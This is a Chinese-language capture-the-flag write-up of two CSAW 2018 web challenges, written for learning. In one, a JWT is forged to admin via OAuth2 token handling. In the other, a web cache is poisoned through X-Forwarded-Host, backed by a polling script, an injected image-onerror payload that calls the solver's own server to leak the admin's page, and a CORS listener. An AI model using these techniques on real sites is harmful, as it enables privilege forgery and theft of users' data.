内容简介:补补web打开源代码如下:关于OAUTH2.0的授权的详细模式可以参考
_
补补web
Web
sso
Don't you love undocumented APIs Be the admin you were always meant to be http://web.chal.csaw.io:9000 Update chal description at: 4:38 to include solve details Aesthetic update for chal at Sun 7:25 AM
打开源代码如下:
<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1> <a href="/protected">.</a> <!-- Wish we had an automatic GET route for /authorize... well they'll just have to POST from their own clients I guess POST /oauth2/token POST /oauth2/authorize form-data TODO: make a form for this route --!>
关于OAUTH2.0的授权的详细模式可以参考 这篇文章 的 六、授权码模式
。
授权模式大致流程如下:
- 获取Authorization Code,通常访问/authorize
请求的参数:
- response_type:表示授权类型,必选项,此处的值固定为”code”
- client_id:表示客户端的ID,必选项
- redirect_uri:表示重定向URI,可选项
- scope:表示申请的权限范围,可选项
- state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。
- 获取Access Token,通常访问/token
请求的参数:
- grant_type:表示使用的授权模式,必选项,此处的值固定为”authorization_code”。
- code:表示上一步获得的授权码,必选项。
- redirect_uri:表示重定向URI,必选项,且必须与A步骤中的该参数值保持一致。
- client_id:表示客户端ID,必选项。
- 访问限制资源,比如这里的/protected
所以第一步,获取Authorization Code。
然后在我们的服务器上能收到:
拿到code:
再去拿到token。
得到token:
将这个token拿到 jwt.io/ 解密。
这里的 secret
就是加密秘钥,所以我们可以将type改为admin。
我们拿着这个token去访问 /protected
。
得到flag:flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}。
参考链接
https://www.aperikube.fr/docs/csawquals_2018/sso/
https://github.com/TryCTFAgain/CTF-Writeups/blob/master/2018/CSAW%20CTF’18/web.md#sso
Hacker Movie Club
Hacker Movie Club Hacker movies are very popular, so we needed a site that we can scale. You better get started though, there are a lot of movies to watch. Author: itszn (ret2 systems) http://app.hm.vulnerable.services/
打开主页如下:
源码:(去掉style)
<html> <head> <script data-src="mustache.min.js" data-cdn="4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services"></script> <script data-src="app.js" data-cdn="4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services"></script> </head> <body> <div id="content">Loading..</div> <script> window.loaded_recapcha = () => { window.loaded_recapcha = true; } window.loaded_mustache = () => { window.loaded_mustache = true; } </script> <script src="/cdn.js"></script> <script src='https://www.google.com/recaptcha/api.js?onload=loaded_recapcha&render=explicit'></script> </body> </html>
其中的 /cdn.js
作用是加上 X-Forwarded-Host
头去加载上面两个脚本。
// cdn.js for (let t of document.head.children) { if (t.tagName !== 'SCRIPT') continue; let { cdn, src } = t.dataset; if (cdn === undefined || src === undefined) continue; fetch(`//${cdn}/cdn/${src}`,{ headers: { 'X-Forwarded-Host':cdn }} ).then(r=>r.blob()).then(b=> { let u = URL.createObjectURL(b); let s = document.createElement('script'); s.src = u; document.head.appendChild(s); }); }
主页面上还有一个 report
的功能,一般看到这个一般都会出现XSS利用,但是这道题中并没有输入交互,所以XSS的利用方式还有些不同。
app.js如下:
// app.js var token = null; Promise.all([ fetch('/api/movies').then(r=>r.json()), fetch(`//4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()), new Promise((resolve) => { if (window.loaded_recapcha === true) return resolve(); window.loaded_recapcha = resolve; }), new Promise((resolve) => { if (window.loaded_mustache === true) return resolve(); window.loaded_mustache = resolve; }) ]).then(([user, view])=>{ document.getElementById('content').innerHTML = Mustache.render(view,user); grecaptcha.render(document.getElementById("captcha"), { sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5', theme: 'dark', callback: t=> { token = t; document.getElementById('report').disabled = false; } }); let hidden = true; document.getElementById('report').onclick = () => { if (hidden) { document.getElementById("captcha").parentElement.style.display='block'; document.getElementById('report').disabled = true; hidden = false; return; } fetch('/api/report',{ method: 'POST', body: JSON.stringify({token:token}) }).then(r=>r.json()).then(j=>{ if (j.success) { // The admin is on her way to check the page alert("Neo... nobody has ever done this before."); alert("That's why it's going to work."); } else { alert("Dodge this."); } }); } });
main.mst下载后发现是模板文件。
<div class="header"> Hacker Movie Club </div> <div class="header admin"> Welcome to the desert of the real. </div> <table class="movies"> <thead> <th>Name</th><th>Year</th><th>Length</th> </thead> <tbody> <tr> <td></td> <td></td> <td></td> </tr> </tbody> </table> <div class="captcha"> <div id="captcha"></div> </div> <button id="report" type="submit" class="report"></button>
初期的一个探索并没有发现什么有价值的东西,所以我们可以考虑对每个请求包进行分析。
在 /api/movies
响应的body中看到了一个只能由admin查看的项:
当我们把它通过抓包改成 false
时,可以发现:
可以看到,隐藏的项就出来了,所以我们的目的就明确了,但是我们没有太多可以交互的地方,所以还需要找突破点。
观察后发现每个响应头都有:
HTTP/1.1 200 OK ... Cache-Control: no-cache X-Varnish: 157274709 Age: 0 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive
去了解了下 varnish
,发现它是一个 反向代理
中的 缓存服务
程序。
如果来自Apache的响应是可缓存的,Varnish会将其存储以便更快地响应未来的请求。
varnish详细的请求头可以在 这里 找到。
所以这里我们需要用到一种叫 Web Cache Poisoning
( web缓存污染
)的利用方法,这个跟 Cache Poisoning
(又称DNS污染)是不一样的东西。
参考链接:
这里我们可以重点关注 DOM Poisoning
(DOM污染)。
另一个需要先了解的事情是 X-Forwarded-Host
的作用,详情可参考: 这里 。
X-Forwarded-Host (XFH) 是一个事实上的标准首部,用来确定客户端发起的请求中使用 Host 指定的初始域名。 反向代理(如负载均衡服务器、CDN等)的域名或端口号可能会与处理请求的源头服务器有所不同,在这种情况下,X-Forwarded-Host 可以用来确定哪一个域名是最初被用来访问的。
语法:
X-Forwarded-Host: <host>
上面这些归结起来就是 当服务器进行缓存时它会将客户端的请求转发到XFH指定的host上去。
现在再回过头看看我们已有的资料。我们得知 main.mst
是模板文件,它会利用``等对admin身份进行判断,如果我们能够劫持掉这个模板文件,使她绕过admin就可以获得到完整的项。
我们先来找到 main.mst
缓存的最大时间( max-age
),我们可以带着 X-Forwarded-Host
不停的请求 /cdn/app.js
,如果 fetch('//4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/main.mst')
能被我们控制到 fetch('my_server/cdn/main.mst')
上就成功的完成了劫持。
我们可以使用下面的脚本验证一下:
# -*- coding: utf-8 -*- import requests X_Forwarded_Host = '1.2.3.4' while True: resp = requests.get("http://4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/app.js", headers={'X-Forwarded-Host': X_Forwarded_Host}) print resp.headers if X_Forwarded_Host in resp.text: print resp.text break
结果如下:
可以看到我们成功的通过 web缓存污染
劫持了模板文件。接着我们再构造好模板文件,然后让admin去访问就可以拿到flag了。
<div class="header"> Hacker Movie Club </div> <div class="header admin"> Welcome to the desert of the real. </div> <table class="movies"> <thead> <th>Name</th><th>Year</th><th>Length</th> </thead> <tbody> <tr> <td></td> <td></td> <td></td> </tr> </tbody> </table> <div class="captcha"> <div id="captcha"></div> </div> <button id="report" type="submit" class="report"></button> <img src=x onerror="fetch('http://my_server_ip/'+'')">
如果你直接访问会出现一个 跨域资源共享
(CORS)的问题,如下:
它要求服务器回应的头信息要包含 Access-Control-Allow-Origin
字段,如果你不想配置Apache或者Nginx,那你可以使用下面这个建议的python web server。
#!/usr/bin/env python # -*- coding: utf-8 -*- try: # Python 3 from http.server import HTTPServer, SimpleHTTPRequestHandler, test as test_orig import sys def test (*args): test_orig(*args, port=int(sys.argv[1]) if len(sys.argv) > 1 else 8000) except ImportError: # Python 2 from BaseHTTPServer import HTTPServer, test from SimpleHTTPServer import SimpleHTTPRequestHandler class CORSRequestHandler (SimpleHTTPRequestHandler): def end_headers (self): self.send_header('Access-Control-Allow-Origin', '*') SimpleHTTPRequestHandler.end_headers(self) if __name__ == '__main__': test(CORSRequestHandler, HTTPServer)
开启后就能在日志输出中得到flag:
flag:flag{I_h0pe_you_w4tch3d_a11_th3_m0v1es}
参考链接:
https://lud1161.github.io/posts/hacker-movie-club-csaw-quals-2018/
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析
- Ghost Tunnel复现
- Paxos与“幽灵复现”
- CVE-2010-3333漏洞复现
- CVE-2017-12149漏洞复现
- WinRAR 代码执行漏洞复现
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。